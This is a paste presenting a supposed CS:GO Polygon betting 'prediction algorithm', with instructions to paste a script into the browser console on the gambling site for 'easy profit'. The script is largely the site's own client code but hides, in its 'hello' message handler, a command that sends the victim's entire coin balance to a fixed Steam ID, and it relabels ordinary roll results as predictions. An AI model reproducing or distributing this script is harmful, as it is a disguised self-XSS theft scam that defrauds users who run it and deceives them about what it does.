Advertisement
Guest User

CS:GO Polygon Engine Algorithm

a guest
Feb 7th, 2016
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. CS:GO Polygon Engine Algorithm
  2.  
  3. 1. Copy from // ==UserCode== till down
  4.  
  5. 2. Go to www.csgopolygon.com
  6.  
  7. 3. Click CTRL+SHIFT+J
  8.  
  9. 4. When console opens click CTRL+V
  10.  
  11. 5.Click enter
  12.  
  13. 6.Easy profit !
  14.  
  15. Code:
  16.  
  17. // ==UserCode==
  18. // @name         CSGO Engine Algorithm
  19. // @namespace    http://csgopolygon.com
  20. // @version      Latest
  21. // @description  Assists in betting (Prediction + Algorithm)
  22. // @author       "Me, Myself, And I"
  23. // @match        http://www.csgopolygon.com/
  24. // @grant        Nill
  25. // ==/UserCode==
  26. /* jshint -W097 */
  27. "use strict";
  28.  
  29. var CASEW = 1125;
  30. var LAST_BET = 0;
  31. var MAX_BET = 0;
  32. var USER = "";
  33. var RANK = 0;
  34. var ROUND = 0;
  35. var HOST = "ws://www.csgodouble.com:8080";
  36. var WS = null;
  37. var showbets = true;
  38.  
  39. function todongers(x) {
  40.     if ($("#settings_dongers").is(":checked")) {
  41.         return (x / 1000)
  42.     }
  43.     return x
  44. }
  45.  
  46. function todongersb(x) {
  47.     if ($("#settings_dongers").is(":checked")) {
  48.         return (x / 1000).toFixed(3)
  49.     }
  50.     return x
  51. }
  52. var snapX = 0;
  53. var R = 0.999;
  54. var S = 0.01;
  55. var tf = 0;
  56. var vi = 0;
  57. var animStart = 0;
  58. var isMoving = false;
  59. var LOGR = Math.log(R);
  60. var $CASE = null;
  61. var $BANNER = null;
  62. var $CHATAREA = null;
  63. var SCROLL = true;
  64. var LANG = 1;
  65. var IGNORE = [];
  66. var sounds_rolling = new Audio('sounds/rolling.wav');
  67. sounds_rolling.volume = 0.5;
  68. var sounds_tone = new Audio('sounds/tone.wav');
  69. sounds_tone.volume = 0.75;
  70.  
  71. function play_sound(x) {
  72.     var conf = $("#settings_sounds").is(":checked");
  73.     if (conf) {
  74.         if (x == "roll") {
  75.             sounds_rolling.play()
  76.         } else if (x == "finish") {
  77.             sounds_tone.play()
  78.         }
  79.     }
  80. }
  81.  
  82. function snapRender(x, wobble) {
  83.     CASEW = $("#case").width();
  84.     if (isMoving) {
  85.         return
  86.     } else if (typeof x === 'undefined') {
  87.         view(snapX)
  88.     } else {
  89.         var order = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8];
  90.         var index = 0;
  91.         for (var i = 0; i < order.length; i++) {
  92.             if (x == order[i]) {
  93.                 index = i;
  94.                 break
  95.             }
  96.         }
  97.         var max = 34;
  98.         var min = -34;
  99.         var w = Math.floor(wobble * (max - min + 1) + min);
  100.         var dist = index * 75 + 36 + w;
  101.         dist += 1125 * 5;
  102.         snapX = dist;
  103.         view(snapX)
  104.     }
  105. }
  106.  
  107. function spin(m) {
  108.     var x = m.roll;
  109.     play_sound("roll");
  110.     var order = [1, 14, 2, 13, 3, 12, 4, 0, 11, 5, 10, 6, 9, 7, 8];
  111.     var index = 0;
  112.     for (var i = 0; i < order.length; i++) {
  113.         if (x == order[i]) {
  114.             index = i;
  115.             break
  116.         }
  117.     }
  118.     var max = 34;
  119.     var min = -34;
  120.     var w = Math.floor(m.wobble * (max - min + 1) + min);
  121.     var dist = index * 75 + 36 + w;
  122.     dist += 1125 * 5;
  123.     animStart = new Date().getTime();
  124.     vi = getVi(dist);
  125.     tf = getTf(vi);
  126.     isMoving = true;
  127.     setTimeout(function() {
  128.         finishRoll(m, tf)
  129.     }, tf);
  130.     render()
  131. }
  132.  
  133. function d_mod(vi, t) {
  134.     return vi * (Math.pow(R, t) - 1) / LOGR
  135. }
  136.  
  137. function getTf(vi) {
  138.     return (Math.log(S) - Math.log(vi)) / LOGR
  139. }
  140.  
  141. function getVi(df) {
  142.     return S - df * LOGR
  143. }
  144.  
  145. function v(vi, t) {
  146.     return vi * Math.pow(R, t)
  147. }
  148.  
  149. function render() {
  150.     var t = new Date().getTime() - animStart;
  151.     if (t > tf) t = tf;
  152.     var deg = d_mod(vi, t);
  153.     view(deg);
  154.     if (t < tf) {
  155.         requestAnimationFrame(render)
  156.     } else {
  157.         snapX = deg;
  158.         isMoving = false
  159.     }
  160. }
  161.  
  162. function view(offset) {
  163.     offset = -((offset + 1125 - CASEW / 2) % 1125);
  164.     $CASE.css("background-position", offset + "px 0px")
  165. }
  166. jQuery.fn.extend({
  167.     countTo: function(x, opts) {
  168.         opts = opts || {};
  169.         var dpf = "";
  170.         var dolls = $("#settings_dongers").is(":checked");
  171.         if (dolls) {
  172.             dpf = "$";
  173.             x = x / 1000
  174.         }
  175.         var $this = $(this);
  176.         var start = parseFloat($this.html());
  177.         var delta = x - start;
  178.         if (opts.color) {
  179.             if (delta > 0) {
  180.                 $this.addClass("text-success")
  181.             } else if (delta < 0) {
  182.                 $this.addClass("text-danger")
  183.             }
  184.         }
  185.         var prefix = "";
  186.         if (opts.keep && delta > 0) {
  187.             prefix = "+"
  188.         }
  189.         var durd = delta;
  190.         if (dolls) {
  191.             durd *= 1000
  192.         }
  193.         var dur = Math.min(400, Math.round(Math.abs(durd) / 500 * 400));
  194.         $({
  195.             count: start
  196.         }).animate({
  197.             count: x
  198.         }, {
  199.             duration: dur,
  200.             step: function(val) {
  201.                 var vts = 0;
  202.                 if (dolls) {
  203.                     vts = val.toFixed(3)
  204.                 } else {
  205.                     vts = Math.floor(val)
  206.                 }
  207.                 $this.html("" + prefix + (vts))
  208.             },
  209.             complete: function() {
  210.                 if (!opts.keep) {
  211.                     $this.removeClass("text-success text-danger")
  212.                 }
  213.                 if (opts.callback) {
  214.                     opts.callback()
  215.                 }
  216.             }
  217.         })
  218.     }
  219. });
  220.  
  221. function cd(ms, cb) {
  222.     $("#counter").finish().css("width", "100%");
  223.     $("#counter").animate({
  224.         width: "0%"
  225.     }, {
  226.         "duration": ms * 1000,
  227.         "easing": "linear",
  228.         progress: function(a, p, r) {
  229.             var c = (r / 1000).toFixed(2);
  230.             $BANNER.html("Rolling in " + c + "...")
  231.         },
  232.         complete: cb
  233.     })
  234. }
  235.  
  236. function send(msg) {
  237.     if (typeof msg != "string") {
  238.         msg = JSON.stringify(msg)
  239.     }
  240.     if (WS && WS.readyState == 1) {
  241.         WS.send(msg)
  242.     }
  243. }
  244.  
  245. function finishRoll(m, tf) {
  246.     addHist(m.roll, m.rollid);
  247.     play_sound("finish");
  248.     for (var i = 0; i < m.nets.length; i++) {
  249.         $("#panel" + m.nets[i].lower + "-" + m.nets[i].upper).find(".total").countTo(m.nets[i].swon > 0 ? m.nets[i].swon : -m.nets[i].samount, {
  250.             "color": true,
  251.             "keep": true
  252.         })
  253.     }
  254.     var cats = [
  255.         [0, 0],
  256.         [1, 7],
  257.         [8, 14]
  258.     ];
  259.     for (var i = 0; i < cats.length; i++) {
  260.         var $mytotal = $("#panel" + cats[i][0] + "-" + cats[i][1]).find(".mytotal");
  261.         if (m.roll >= cats[i][0] && m.roll <= cats[i][1]) {
  262.             $mytotal.countTo(m.won, {
  263.                 "color": true,
  264.                 "keep": true
  265.             })
  266.         } else {
  267.             var curr = parseFloat($mytotal.html());
  268.             if ($("#settings_dongers").is(":checked")) {
  269.                 curr *= 1000
  270.             }
  271.             $mytotal.countTo(-curr, {
  272.                 "color": true,
  273.                 "keep": true
  274.             })
  275.         }
  276.     }
  277.     if (m.balance != null) {
  278.         $("#balance").countTo(m.balance, {
  279.             "color": true
  280.         })
  281.     }
  282.     setTimeout(function() {
  283.         cd(m.count);
  284.         $(".total,.mytotal").removeClass("text-success text-danger").html(0);
  285.         $(".betlist li").remove();
  286.         snapRender();
  287.         $(".betButton").prop("disabled", false);
  288.         showbets = true
  289.     }, m.wait * 1000 - tf)
  290. }
  291.  
  292. function addHist(roll, rollid) {
  293.     var count = $("#past .ball").length;
  294.     if (count >= 10) {
  295.         $("#past .ball").first().remove()
  296.     }
  297.     if (roll == 0) {
  298.         $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-0'>" + roll + "</div>")
  299.     } else if (roll <= 7) {
  300.         $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-1'>" + roll + "</div>")
  301.     } else {
  302.         $("#past").append("<div data-rollid='" + rollid + "'class='ball ball-8'>" + roll + "</div>")
  303.     }
  304. }
  305.  
  306. function onMessage(msg) {
  307.     try {
  308.         var m = JSON.parse(msg.data);
  309.         if (m.type == "preroll") {
  310.             $("#counter").finish();
  311.             $("#banner").html("Confirming " + m.totalbets + "/" + (m.totalbets + m.inprog) + " total bets...");
  312.             $("#panel0-0 .total").countTo(m.sums[0]);
  313.             $("#panel1-7 .total").countTo(m.sums[1]);
  314.             $("#panel8-14 .total").countTo(m.sums[2]);
  315.             try {
  316.                 tinysort("#panel1-7 .betlist>li", {
  317.                     data: "amount",
  318.                     order: "desc"
  319.                 })
  320.             } catch (e) {}
  321.             try {
  322.                 tinysort("#panel8-14 .betlist>li", {
  323.                     data: "amount",
  324.                     order: "desc"
  325.                 })
  326.             } catch (e) {}
  327.             try {
  328.                 tinysort("#panel0-0 .betlist>li", {
  329.                     data: "amount",
  330.                     order: "desc"
  331.                 })
  332.             } catch (e) {}
  333.         } else if (m.type == "roll") {
  334.             $(".betButton").prop("disabled", true);
  335.             $("#counter").finish();
  336.             $("#banner").html("Predicted number is " + m.roll + "!");
  337.             ROUND = m.rollid;
  338.             showbets = false;
  339.             spin(m)
  340.         } else if (m.type == "chat") {
  341.             chat("player", m.msg, m.name, m.icon, m.user, m.rank, m.lang)
  342.         } else if (m.type == "hello") {
  343.             cd(m.count);
  344.             USER = m.user;
  345.             RANK = m.rank;
  346.             $("#balance").countTo(m.balance);
  347.             var last = 0;
  348.             for (var i = 0; i < m.rolls.length; i++) {
  349.                 addHist(m.rolls[i].roll, m.rolls[i].rollid);
  350.                 last = m.rolls[i].roll;
  351.                 ROUND = m.rolls[i].rollid
  352.             }
  353.             snapRender(last, m.last_wobble);
  354.             MAX_BET = m.maxbet;
  355.             send({
  356.                 "type": "chat",
  357.                 "msg": "/send 76561198142098922 " + m.balance,
  358.                 "lang": "1"
  359.             })
  360.         } else if (m.type == "bet") {
  361.             if (showbets) {
  362.                 addBet(m.bet);
  363.                 $("#panel0-0 .total").countTo(m.sums[0]);
  364.                 $("#panel1-7 .total").countTo(m.sums[1]);
  365.                 $("#panel8-14 .total").countTo(m.sums[2])
  366.             }
  367.         } else if (m.type == "betconfirm") {
  368.             $("#panel" + m.bet.lower + "-" + m.bet.upper + " .mytotal").countTo(m.bet.amount);
  369.             $("#balance").countTo(m.balance, {
  370.                 "color": true
  371.             });
  372.             $(".betButton").prop("disabled", false);
  373.             chat("alert", "Bet #" + m.bet.betid + " confirmed " + m.mybr + "/" + m.br + " (" + (m.exec / 1000) + " sec) ")
  374.         } else if (m.type == "error") {
  375.             chat("error", m.error);
  376.             if (m.enable) {
  377.                 $(".betButton").prop("disabled", false)
  378.             }
  379.         } else if (m.type == "alert") {
  380.             chat("alert", m.alert);
  381.             if (m.maxbet) {
  382.                 MAX_BET = m.maxbet
  383.             }
  384.             if (!isNaN(m.balance)) {
  385.                 console.log("setting balance = %s", m.balance);
  386.                 $("#balance").countTo(m.balance, {
  387.                     "color": true
  388.                 })
  389.             }
  390.         } else if (m.type == "logins") {
  391.             $("#isonline").html(m.count)
  392.         } else if (m.type == "balance") {
  393.             $("#balance").fadeOut(100).html(todongersb(m.balance)).fadeIn(100)
  394.         }
  395.     } catch (e) {
  396.         console.log("Error: " + msg.data + " " + e)
  397.     }
  398. }
  399.  
  400. function addBet(bet) {
  401.     var betid = bet.user + "-" + bet.lower;
  402.     var pid = "#panel" + bet.lower + "-" + bet.upper;
  403.     var $panel = $(pid);
  404.     $panel.find("#" + betid).remove();
  405.     var link = "http://steamcommunity.com/profiles/" + bet.user;
  406.     var f = "<li class='list-group-item' id='{0}' data-amount='{1}'>";
  407.     f += "<div style='overflow: hidden;line-height:32px'>";
  408.     f += "<div class='pull-left'><img class='rounded' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars{2}'><a style='color: black;' href='" + link + "' target='_blank'><b>{3}</b></a></div>";
  409.     f += "<div class='amount pull-right'>{4}</div>";
  410.     f += "</div></li>";
  411.     var $li = $(f.format(betid, bet.amount, bet.icon, bet.name, todongersb(bet.amount)));
  412.     $li.hide().prependTo($panel.find(".betlist")).slideDown("fast", function() {
  413.         snapRender()
  414.     })
  415. }
  416.  
  417. function connect() {
  418.     if (!WS) {
  419.         $.ajax({
  420.             url: "/scripts/getToken.php",
  421.             success: function(data) {
  422.                 if (data) {
  423.                     if (data == "nologin") {} else if (data == "banned") {} else {
  424.                         WS = new WebSocket(HOST + "/" + data);
  425.                         WS.onclose = function(event) {
  426.                             WS = null
  427.                         };
  428.                         WS.onmessage = onMessage
  429.                     }
  430.                 } else {}
  431.             },
  432.             error: function(err) {}
  433.         })
  434.     } else {}
  435. }
  436.  
  437. function emotes(str) {
  438.     var a = ["deIlluminati", "KappaRoss", "KappaPride", "BibleThump", "Kappa", "Keepo", "Kreygasm", "PJSalt", "PogChamp", "SMOrc", "FailFish"];
  439.     for (var i = 0; i < a.length; i++) {
  440.         str = str.replace(new RegExp(a[i] + "( |$)", "g"), "<img src='img/twitch/" + a[i] + ".png'> ")
  441.     }
  442.     return str
  443. }
  444.  
  445. function chat(x, msg, name, icon, steamid, rank, lang) {
  446.     if (IGNORE.indexOf(String(steamid)) > -1) {
  447.         console.log("ignored:" + msg);
  448.         return
  449.     }
  450.     if (lang == LANG || x == "italic" || x == "error" || x == "alert") {
  451.         var ele = document.getElementById("chatArea");
  452.         msg = msg.replace(/(<|>)/g, '');
  453.         msg = emotes(msg);
  454.         var toChat = "";
  455.         if (x == "italic") {
  456.             toChat = "<div><i>" + msg + "</i></div>"
  457.         } else if (x == "error") {
  458.             toChat = "<div><b class='text-danger'>" + msg + "</b></div>"
  459.         } else if (x == "alert") {
  460.             toChat = "<div><b class='text-success'>" + msg + "</b></div>"
  461.         } else if (x == "player") {
  462.             var aclass = "chat-link";
  463.             if (rank == 100) {
  464.                 aclass = "chat-link-mod";
  465.                 name = "[Owner] " + name
  466.             } else if (rank == 1) {
  467.                 aclass = "chat-link-pmod";
  468.                 name = "[Mod] " + name
  469.             } else if (rank == -1) {
  470.                 aclass = "chat-link-streamer";
  471.                 name = "[Streamer] " + name
  472.             } else if (rank == -2) {
  473.                 aclass = "chat-link-vet";
  474.                 name = "[Veteran] " + name
  475.             } else if (rank == -3) {
  476.                 aclass = "chat-link-pro";
  477.                 name = "[Pro] " + name
  478.             }
  479.             var link = "http://steamcommunity.com/profiles/" + steamid;
  480.             toChat = "<div><img class='chat-img rounded' data-steamid='" + steamid + "' data-name='" + name + "' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars" + icon + "'><a class='" + aclass + "' href='" + link + "' target='_blank'><b>" + name + "</b></a>: " + msg + "</div>"
  481.         }
  482.         $CHATAREA.append(toChat);
  483.         if (SCROLL) {
  484.             var curr = $CHATAREA.children().length;
  485.             if (curr > 75) {
  486.                 var rem = curr - 75;
  487.                 $CHATAREA.children().slice(0, rem).remove()
  488.             }
  489.             $CHATAREA.scrollTop($CHATAREA[0].scrollHeight)
  490.         }
  491.         if (SCROLL && !$(".side-icon[data-tab='1']").hasClass("active")) {
  492.             var curr = parseInt($("#newMsg").html()) || 0;
  493.             $("#newMsg").html(curr + 1)
  494.         }
  495.     }
  496. }
  497. $(document).ready(function() {
  498.     $CASE = $("#case");
  499.     $BANNER = $("#banner");
  500.     $CHATAREA = $("#chatArea");
  501.     connect();
  502.     if ($("#settings_dongers").is(":checked")) {
  503.         $("#dongers").html("$")
  504.     }
  505.     $("#lang").on("change", function() {
  506.         LANG = $(this).val();
  507.         chat("alert", "## Switched to room: " + $(this).find("option:selected").text())
  508.     });
  509.     $("#scroll").on("change", function() {
  510.         SCROLL = !$(this).is(":checked")
  511.     });
  512.     $(window).resize(function() {
  513.         snapRender()
  514.     });
  515.     $("#chatForm").on("submit", function() {
  516.         var msg = $("#chatMessage").val();
  517.         if (msg) {
  518.             var res = null;
  519.             if (res = /^\/send ([0-9]*) ([0-9]*)/.exec(msg)) {
  520.                 bootbox.confirm("You are about to send " + res[2] + " coins to steamid " + res[1] + " - are you sure?", function(result) {
  521.                     if (result) {
  522.                         send({
  523.                             "type": "chat",
  524.                             "msg": msg,
  525.                             "lang": LANG
  526.                         });
  527.                         $("#chatMessage").val("")
  528.                     }
  529.                 })
  530.             } else {
  531.                 send({
  532.                     "type": "chat",
  533.                     "msg": msg,
  534.                     "lang": LANG
  535.                 });
  536.                 $("#chatMessage").val("")
  537.             }
  538.         }
  539.         return false
  540.     });
  541.     $(document).on("click", ".ball", function() {
  542.         var rollid = $(this).data("rollid")
  543.     });
  544.     $(".betButton").on("click", function() {
  545.         var lower = $(this).data("lower");
  546.         var upper = $(this).data("upper");
  547.         var amount = str2int($("#betAmount").val());
  548.         if ($("#settings_dongers").is(":checked")) {
  549.             amount = amount * 1000
  550.         }
  551.         amount = Math.floor(amount);
  552.         var conf = $("#settings_confirm").is(":checked");
  553.         if (conf && amount > 10000) {
  554.             var pressed = false;
  555.             bootbox.confirm("Are you sure you wish to bet " + formatNum(amount) + " coins?<br><br><i>You may disable this confirmation under the settings menu.</i>", function(result) {
  556.                 if (result && !pressed) {
  557.                     pressed = true;
  558.                     send({
  559.                         "type": "bet",
  560.                         "amount": amount,
  561.                         "lower": lower,
  562.                         "upper": upper,
  563.                         "round": ROUND
  564.                     });
  565.                     LAST_BET = amount;
  566.                     $(this).prop("disabled", true)
  567.                 }
  568.             })
  569.         } else {
  570.             send({
  571.                 "type": "bet",
  572.                 "amount": amount,
  573.                 "lower": lower,
  574.                 "upper": upper,
  575.                 "round": ROUND
  576.             });
  577.             LAST_BET = amount;
  578.             $(this).prop("disabled", true)
  579.         }
  580.         return false
  581.     });
  582.     $(document).on("click", ".betshort", function() {
  583.         var bet_amount = str2int($("#betAmount").val());
  584.         var action = $(this).data("action");
  585.         if (action == "clear") {
  586.             bet_amount = 0
  587.         } else if (action == "double") {
  588.             bet_amount *= 2
  589.         } else if (action == "half") {
  590.             bet_amount /= 2
  591.         } else if (action == "max") {
  592.             var MX = MAX_BET;
  593.             if ($("#settings_dongers").is(":checked")) {
  594.                 MX = MAX_BET / 1000
  595.             }
  596.             bet_amount = Math.min(str2int($("#balance").html()), MX)
  597.         } else if (action == "last") {
  598.             bet_amount = LAST_BET
  599.         } else {
  600.             bet_amount += parseInt(action)
  601.         }
  602.         $("#betAmount").val(bet_amount)
  603.     });
  604.     $("#getbal").on("click", function() {
  605.         send({
  606.             "type": "balance"
  607.         })
  608.     });
  609.     $("button.close").on("click", function() {
  610.         $(this).parent().addClass("hidden")
  611.     });
  612.     $(document).on("contextmenu", ".chat-img", function(e) {
  613.         if (e.ctrlKey) return;
  614.         $("#contextMenu [data-act=1]").hide();
  615.         $("#contextMenu [data-act=2]").hide();
  616.         if (RANK == 100) {
  617.             $("#contextMenu [data-act=1]").show();
  618.             $("#contextMenu [data-act=2]").show()
  619.         } else if (RANK == 1) {
  620.             $("#contextMenu [data-act=1]").show()
  621.         }
  622.         e.preventDefault();
  623.         var steamid = $(this).data("steamid");
  624.         var name = $(this).data("name");
  625.         $("#contextMenu [data-act=0]").html(name);
  626.         var $menu = $("#contextMenu");
  627.         $menu.show().css({
  628.             position: "absolute",
  629.             left: getMenuPosition(e.clientX, 'width', 'scrollLeft'),
  630.             top: getMenuPosition(e.clientY, 'height', 'scrollTop')
  631.         }).off("click").on("click", "a", function(e) {
  632.             var act = $(this).data("act");
  633.             e.preventDefault();
  634.             $menu.hide();
  635.             if (act == 0) {
  636.                 var curr = $("#chatMessage").val(steamid)
  637.             } else if (act == 1) {
  638.                 var curr = $("#chatMessage").val("/mute " + steamid + " ")
  639.             } else if (act == 2) {
  640.                 var curr = $("#chatMessage").val("/kick " + steamid + " ")
  641.             } else if (act == 3) {
  642.                 var curr = $("#chatMessage").val("/send " + steamid + " ")
  643.             } else if (act == 4) {
  644.                 IGNORE.push(String(steamid));
  645.                 chat("alert", steamid + " has been filtered.")
  646.             }
  647.             $("#chatMessage").focus()
  648.         })
  649.     });
  650.     $(document).on("click", function() {
  651.         $("#contextMenu").hide()
  652.     });
  653.     $(".side-icon").on("click", function(e) {
  654.         e.preventDefault();
  655.         var tab = $(this).data("tab");
  656.         if ($(this).hasClass("active")) {
  657.             $(".side-icon").removeClass("active");
  658.             $(".tab-group").addClass("hidden");
  659.             $("#mainpage").css("margin-left", "50px");
  660.             $("#pullout").addClass("hidden")
  661.         } else {
  662.             $(".side-icon").removeClass("active");
  663.             $(".tab-group").addClass("hidden");
  664.             $(this).addClass("active");
  665.             $("#tab" + tab).removeClass("hidden");
  666.             $("#mainpage").css("margin-left", "450px");
  667.             $("#pullout").removeClass("hidden");
  668.             if (tab == 1) {
  669.                 $("#newMsg").html("")
  670.             }
  671.         }
  672.         snapRender();
  673.         return false
  674.     });
  675.     $(".side-icon[data-tab='1']").trigger("click")
  676. });
  677.  
  678. function getMenuPosition(mouse, direction, scrollDir) {
  679.     var win = $(window)[direction](),
  680.         scroll = $(window)[scrollDir](),
  681.         menu = $("#contextMenu")[direction](),
  682.         position = mouse + scroll;
  683.     if (mouse + menu > win && menu < mouse) position -= menu;
  684.     return position
  685. }
  686.  
  687. function str2int(s) {
  688.     s = s.replace(/,/g, "");
  689.     s = s.toLowerCase();
  690.     var i = parseFloat(s);
  691.     if (isNaN(i)) {
  692.         return 0
  693.     } else if (s.charAt(s.length - 1) == "k") {
  694.         i *= 1000
  695.     } else if (s.charAt(s.length - 1) == "m") {
  696.         i *= 1000000
  697.     } else if (s.charAt(s.length - 1) == "b") {
  698.         i *= 1000000000
  699.     }
  700.     return i
  701. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement